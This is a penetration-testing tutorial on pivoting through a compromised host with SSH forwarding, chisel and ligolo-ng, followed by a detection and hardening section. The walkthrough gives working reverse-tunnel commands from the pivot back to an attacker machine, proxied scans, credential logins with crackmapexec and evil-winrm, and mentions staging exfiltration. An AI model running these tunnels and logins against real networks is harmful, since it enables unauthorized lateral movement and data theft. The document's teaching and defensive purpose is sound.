Pivoting and Tunneling: A Practical Guide to Chisel, Ligolo-ng, and SSH

Tools & Defense
Time it takes to read this article 6 minutes.

Legal & Ethical Disclaimer. This article is for education and authorized security testing only. Pivoting moves you deeper into a network and is precisely the activity that turns a contained foothold into a full breach. Only perform these techniques against systems you own or have explicit, written permission to test. Unauthorized tunneling into networks is a crime in virtually every jurisdiction.

Introduction

You compromise a perimeter host, run ipconfig, and discover a second NIC on 10.10.20.0/24 — a segment your attacking machine cannot reach. Pivoting is the art of routing your traffic through that compromised host to reach the otherwise-unreachable internal network. Tunneling is the transport mechanism that carries it.

In this guide you'll learn three battle-tested approaches:

  • SSH native forwarding (-L, -D, -R) — always available, no upload required.
  • chisel — a fast TCP/UDP tunnel over HTTP, ideal when only outbound 80/443 is allowed.
  • ligolo-ng — a modern userland-TUN pivot that gives you a real route, no proxychains needed.

We finish with a Blue Team section, because the same packets that let you pivot are exactly what defenders should be alerting on.

How It Works

A pivot relies on a process on the compromised host that listens on one socket and relays bytes to another. The three forwarding modes are worth memorizing:

  • Local forward (-L) — a port on your machine maps to a single host:port reachable from the pivot. One-to-one.
  • Dynamic forward (-D) — your machine exposes a SOCKS proxy; the pivot resolves and connects to any destination on demand. One-to-many.
  • Remote forward (-R) — a port on the remote (pivot) side maps back to your machine. Used to expose your tools or to build reverse tunnels through egress filtering.

chisel and ligolo-ng exist because you rarely have SSH credentials on a Windows target, and because outbound egress is often restricted to HTTP(S). chisel wraps the tunnel in WebSocket/HTTP so it blends with web traffic. ligolo-ng goes further: it creates a TUN interface on the attacker box, so the entire remote subnet becomes routable like a VPN — no SOCKS, no proxychains.

Prerequisites / Lab Setup

  • Attacker (10.10.10.5) — Kali/Linux with proxychains-ng, nmap, and the chisel/ligolo binaries.
  • Pivot (10.10.10.50 / 10.10.20.50) — dual-homed compromised host, your foothold.
  • Target (10.10.20.10) — internal host, only reachable from the pivot.

Grab the tooling:

# chisel (server + client are the same binary)
wget https://github.com/jpillora/chisel/releases/latest/download/chisel_linux_amd64.gz
gunzip chisel_linux_amd64.gz && chmod +x chisel_linux_amd64

# ligolo-ng (agent runs on the pivot, proxy on the attacker)
wget https://github.com/nicocha30/ligolo-ng/releases/latest/download/ligolo-ng_proxy_linux_amd64.tar.gz
wget https://github.com/nicocha30/ligolo-ng/releases/latest/download/ligolo-ng_agent_linux_amd64.tar.gz
Bash

Attack Walkthrough

1. SSH dynamic SOCKS + proxychains

If you have SSH access to the pivot, this needs zero uploaded tooling.

# Open a SOCKS5 proxy on 127.0.0.1:1080, routed through the pivot
ssh -N -D 1080 user@10.10.10.50
Bash

Point proxychains at it (/etc/proxychains4.conf):

[ProxyList]
socks5 127.0.0.1 1080
Plaintext

Now any TCP tool can reach the internal subnet. Use -sT (full connect) and -Pn — proxied scans cannot do raw SYN or ICMP:

proxychains nmap -sT -Pn -n -p 22,80,445,3389 10.10.20.10
proxychains crackmapexec smb 10.10.20.10 -u admin -p 'Passw0rd!'
Bash

A single port via local forward (great for RDP/SMB which dislike SOCKS):

# Local 3389 -> internal target's 3389, via the pivot
ssh -N -L 3389:10.10.20.10:3389 user@10.10.10.50
xfreerdp /v:127.0.0.1:3389 /u:admin
Bash

2. chisel reverse SOCKS through HTTP egress

When the pivot can only reach you over HTTP and you have no SSH, run a chisel server on the attacker and a reverse client on the pivot.

# Attacker: listen, --reverse allows the client to request reverse tunnels
./chisel_linux_amd64 server --reverse --port 8080
Bash
# Pivot (after dropping the binary): connect back, expose a SOCKS proxy on the attacker
./chisel client 10.10.10.5:8080 R:1080:socks
Bash

R:1080:socks tells the attacker-side chisel to open SOCKS5 on 127.0.0.1:1080, tunneled to the pivot. Feed it to proxychains exactly as above. For a fixed single-port forward instead of SOCKS:

# Attacker now reaches the internal RDP host at 127.0.0.1:33890
./chisel client 10.10.10.5:8080 R:33890:10.10.20.10:3389
Bash

On a Windows foothold, the client invocation is identical with chisel.exe.

3. ligolo-ng — routable subnet, no proxychains

ligolo-ng is the cleanest experience: you get an actual route to the remote network.

# Attacker: create the TUN interface ligolo will use, then start the proxy
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
./proxy -selfcert        # listens on :11601 by default
Bash
# Pivot: connect the agent back to the attacker (-ignore-cert for self-signed)
./agent -connect 10.10.10.5:11601 -ignore-cert
Bash

In the ligolo proxy TUI, select the new session and start the tunnel, then add a route on the host so traffic for the internal subnet flows into the TUN interface:

ligolo-ng » session
ligolo-ng » start
Plaintext
# Attacker: route the internal subnet through ligolo
sudo ip route add 10.10.20.0/24 dev ligolo
Bash

Now your tools hit 10.10.20.10 natively — raw SYN scans, ICMP, and full Nmap features all work:

nmap -sS -p- 10.10.20.10
evil-winrm -i 10.10.20.10 -u admin -p 'Passw0rd!'
Bash

ligolo also supports listeners (listener_add) to pull files back from internal hosts to your box — useful for exfil staging in a lab.

Diagram

Pivoting and Tunneling: A Practical Guide to Chisel, Ligolo-ng, and SSH diagram 1

Text fallback: The attacker runs a server; the dual-homed pivot connects back over the only allowed egress (HTTP/TLS), and the attacker reaches the internal 10.10.20.0/24 subnet either via a SOCKS proxy with proxychains or via a routed TUN interface.

This chain typically follows initial access and credential abuse — see Kerberoasting and Pass-the-Hash and lateral movement for how attackers obtain the foothold in the first place.

Detection & Defense (Blue Team)

Pivoting is loud if you know where to listen. Map it to MITRE ATT&CK T1090 (Proxy), T1572 (Protocol Tunneling), and T1090.001 (Internal Proxy).

Network detection.

  • Long-lived outbound WebSocket/TLS sessions to non-standard or freshly-registered IPs are the strongest chisel/ligolo indicator. Alert on flows that stay open for hours with low but steady byte counts.
  • Beaconing to a single external IP on 80/443 from a server that has no business browsing the web. Servers should not initiate outbound HTTP.
  • ligolo uses TLS on 11601 by default and chisel often uses 8080 — but assume operators change ports; rely on behavior (persistent reverse connections, TUN-shaped traffic), not port numbers.
  • East-west visibility. Sudden connections from a normally quiet server to many internal hosts/ports (the proxied Nmap sweep) is classic internal reconnaissance. Deploy NIDS sensors inside segments, not just at the perimeter.

Host detection.

  • Hunt for unsigned, randomly-named binaries executing with outbound network handles. On Linux, ss -tnp / lsof -i reveals the agent's reverse connection; on Windows, Sysmon Event ID 3 (Network connection) correlated with Event ID 1 (Process create) for unknown executables.
  • Watch for new TUN/TAP interfaces appearing on workstations or servers (ip tuntap show) — legitimate only on VPN endpoints. On Windows, monitor for the Wintun driver loading on hosts that shouldn't have a VPN.
  • EDR should flag a process that both reads from a socket and writes to many internal destinations — the relay pattern.

Hardening / prevention.

  • Egress filtering is the single highest-value control. Deny outbound traffic from servers by default; force web traffic through an authenticated proxy with TLS inspection so opaque tunnels and self-signed certs (ligolo -selfcert) get blocked or flagged.
  • Network segmentation and host-based firewalls limit what a pivot can reach even after compromise — the dual-homed host should not be able to talk to arbitrary ports across the internal subnet.
  • Disable SSH where unneeded, restrict AllowTcpForwarding, PermitTunnel no, and GatewayPorts no in sshd_config to neuter -L/-D/-R.
  • Application allowlisting (WDAC/AppLocker) stops dropped chisel/ligolo binaries from running at all.

Conclusion

SSH forwarding, chisel, and ligolo-ng solve the same problem at increasing levels of convenience: SSH when you have creds, chisel when you only have HTTP egress, and ligolo-ng when you want a real route without proxychains. The technique is conceptually simple — relay bytes through a foothold — but the defensive lesson is just as clear: a flat network with permissive egress turns one compromised host into total reach. Restrict outbound traffic, segment internally, and alert on persistent reverse connections, and pivoting becomes far harder to pull off quietly.

References

Comments

Copied title and URL